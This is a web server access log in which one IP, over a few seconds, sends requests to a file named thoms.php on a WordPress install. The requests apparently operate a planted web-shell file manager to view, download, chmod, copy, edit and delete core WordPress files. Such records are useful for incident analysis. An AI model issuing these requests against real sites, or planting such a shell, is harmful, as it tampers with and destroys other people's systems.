45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?dl=class.wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?dl=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22279 "https://163.245.207.76:443/thoms.php?dl=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?chmod=fonts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=fonts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=functions.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?chmod=fonts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?dl=bookmark.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=bookmark.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22266 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22263 "https://163.245.207.76:443/thoms.php?dl=bookmark.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-supports.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?dl=class-wp-feed-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22237 "https://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-post-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-post-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-post-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?del=class-wp-user-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?del=date.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=date.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=date.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21872 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-functions.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwp-diff.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwp-diff.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-patterns&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-patterns&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwp-diff.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-patterns&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frest-api&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frest-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22283 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frest-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?edit=wp-comments-post.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?edit=wp-comments-post.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22256 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?edit=locoy.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=locoy.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22293 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-login.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?edit=locoy.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?edit=locoy.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=locoy.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=locoy.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
